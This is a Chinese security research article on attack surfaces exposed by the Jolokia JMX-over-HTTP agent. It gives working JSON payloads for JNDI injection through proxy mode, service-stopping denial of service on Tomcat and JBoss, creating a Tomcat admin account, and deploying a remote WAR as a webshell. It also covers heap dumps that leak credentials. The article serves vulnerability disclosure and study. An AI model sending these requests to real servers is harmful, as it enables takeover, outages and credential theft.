*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
0x00 - About Jolokia
Jolokia 是一个通过 HTTP 的 JMX 连接器,提供了类 RESTful 的操作方式,可以通过 POST JSON 的方式访问和修改 JMX 属性、执行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等。
Jolokia 支持提供了多种 Agents,包括 WAR Agent、OSGi Agent、JVM Agent 或者 Mule Agent。其中 WAR Agent 支持了多种 Web Server:
JBoss 4.2.3, 5.1.0, 6.1.0, 7.0.2, 7.1.1, 8.0.0
Oracle WebLogic 9.2.3.0, 10.0.2.0, 10.3.6.0
Glassfish 2.1.1, 3.0.1, 3.1.2, 4.0.0
IBM Websphere 6.1.0.33, 7.0.0.11, 8.0.0.1, 8.5
Apache Tomcat 5.5.35, 6.0.37, 7.0.52, 8.0.3
Jetty 5.1.15, 6.1.26, 7.6.9, 8.1.9, 9.1.2
Resin 3.1.9
Jonas 4.10.7, 5.1.1, 5.2.1
Apache Geronimo 2.1.6, 2.2.1, 3.0.0
Spring dm Server 2.0.0.RELEASE
Eclipse Virgo 2.1.0
通过 Jolokia,可以方便的操作 MBean,通过 GET 的例子:
ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage | jq
{
"request": {
"mbean": "java.lang:type=Memory",
"attribute": "HeapMemoryUsage",
"type": "read"
},
"value": {
"init": 94371840,
"committed": 91226112,
"max": 129761280,
"used": 32536960
},
"timestamp": 1522138479,
"status": 200
}
或者 POST 一个 JSON:
ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/ --data ' {
> "mbean":"java.lang:type=Memory",
> "attribute":"HeapMemoryUsage",
> "type":"READ"
> }' | jq
{
"request": {
"mbean": "java.lang:type=Memory",
"attribute": "HeapMemoryUsage",
"type": "read"
},
"value": {
"init": 94371840,
"committed": 91226112,
"max": 129761280,
"used": 33277720
},
"timestamp": 1522138552,
"status": 200
}
Jolokia 支持 READ、WRITE、SEARCH、EXEC、LIST 等操作,具体可以参考官方文档:Jolokia - Reference Documentation 。
0x01 - Jolokia Security Issues
1. JNDI Injection
Jolokia 支持一个叫做代理模式(Proxy Mode)的东西,是为了解决不能将 Jolokia Agent 部署在目标平台上的问题。具体架构如下:
可以通过向 Jolokia 发送 POST 请求来触发:
{
"type":"READ"
"mbean":"java.lang:type=Threading",
"attribute":"ThreadCount",
"target": {
"url":"service:jmx:rmi:///jndi/rmi://hostname:1234/jmxrmi",
}
}
熟悉 Java 安全的朋友可能会注意到,这里可能有一个 JNDI 注入。的确,在 WAR Agent 的情况下,此处存在一个 JNDI 注入,问题发生在 agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java
:
public Object dispatchRequest(JmxRequest pJmxReq)
throws InstanceNotFoundException, AttributeNotFoundException, ReflectionException, MBeanException, IOException, NotChangedException {
JsonRequestHandler handler = requestHandlerManager.getRequestHandler(pJmxReq.getType());
JMXConnector connector = null;
try {
connector = createConnector(pJmxReq);
connector.connect();
....
当 Web Container 将请求的交由 Jsr160RequestDispatcher
处理时,Jolokia Agent 创建连接,导致 JNDI 注入。在 WAR Agent 里,默认是由 Jsr160RequestDispatcher
处理的,这一点在 web.xml 也有体现:
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
<init-param>
<description>
Class names (comma separated) of RequestDispatcher used in addition
to the LocalRequestDispatcher
</description>
<param-name>dispatcherClasses</param-name>
<param-value>org.jolokia.jsr160.Jsr160RequestDispatcher</param-value>
</init-param>
那么,攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON,即可利用 JNDI 在目标机器上执行命令。
2. Information Disclosure
Jolokia 中有一个默认注册的 MBean:com.sun.management:type=HotSpotDiagnostic
,这个 MBean 中存在 dumpHeap 方法,可以 dump 内存到指定的目录。同时在低版本的 Java 中(比如 1.8.0_11),导出的文件名可以设置任意名称,而非 .hprof
后缀。
下载后可以通过分析文件获取一些敏感信息:
如上图就获得了 Tomcat 管理员的账号密码,可以通过部署 WAR 文件的方式进行 getshell。
0x02 - Tomcat with Jolokia
1. DoS
部署了 Jolokia 后,可以访问 /jolokia/list
查看可用的 MBean,通过翻阅可以发现 Tomcat + Jolokia 的情况下存在一些敏感操作,比如关闭服务:
{
"type": "EXEC",
"mbean": "Catalina:type=Service",
"operation": "stop",
"arguments": []
}
这样会造成 DoS,虽然没啥用。
2. Create Admin Account
问题在 User:database=UserDatabase,type=UserDatabase
下,其包括了 createRole
、createUser
等操作,攻击流程为:
// 创建 manager-gui
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createRole",
"arguments": ["manager-gui", ""]
}
// 创建用户
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createUser",
"arguments": ["test233", "test233", ""]
}
// 增加角色
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=User,username=\"test233\"",
"operation": "addRole",
"arguments": ["manager-gui"]
}
接着利用 test233 / test233 登陆即可。
0x03 - JBoss with Jolokia
1. DoS
关闭服务:
{
"type": "EXEC",
"mbean": "jboss.web.deployment:war=/ROOT",
"operation": "stop",
"arguments": []
}
1. Deploy WAR
JBoss 中,通过 JMX Console 部署 WAR 是最为人所知的,JBoss 中的 jboss.system:service=MainDeployer
提供了这个方法。由于此方法是重载的,所以需要指定一个 signature,也就是下图的deploy(java.lang.String)
:
{
"type": "EXEC",
"mbean": "jboss.system:service=MainDeployer",
"operation": "deploy(java.lang.String)",
"arguments": ["http://127.0.0.1:1235/test.war"]
}
接着通过访问 /test
即可进入 webshell。
0x04 Others
Weblogic 暴露出很多 MBean,但是有一些方法存在限制:
weblogic.management.NoAccessRuntimeException: Access not allowed for subject: principals=[], on ResourceType: WLDFImageRuntime Action: execute, Target: captureImage
可能会有其他的 MBean 可以进行操作,但是由于 MBean 繁多,没有太多精力去看。Jetty 没有暴露什么 MBean,所以暂时没有什么方法。ActiveMQ 有一些 MBean,粗略看了下没有发现什么问题,如果大家发现了,可以多多交流。
0x05 Reference
写在最后:Jolokia 可以暴露出更多的攻击面,通过这些攻击面进行操作来获取更高的权限,本文仅仅分析了部分 Java EE Servers 所呈现出来的 MBean,但是由于 Jolokia 支持多种 Agent,所以暴露出的东西不止如此。
此外,这次分析仅仅是在业务层面上进行分析,没有跟进到源码层面。可能会有如下情况:某个 MBean 进行了 JNDI lookup,或者远程下载文件保存在本地,反序列化某一些内容等等,通过 Jolokia 进行操作可以二次利用这些问题来 RCE。这就需要具体情况具体分析了,本文如有错误,欢迎指正 :D
*本文作者:RicterZ@云鼎实验室,转载请注明来自FreeBuf.COM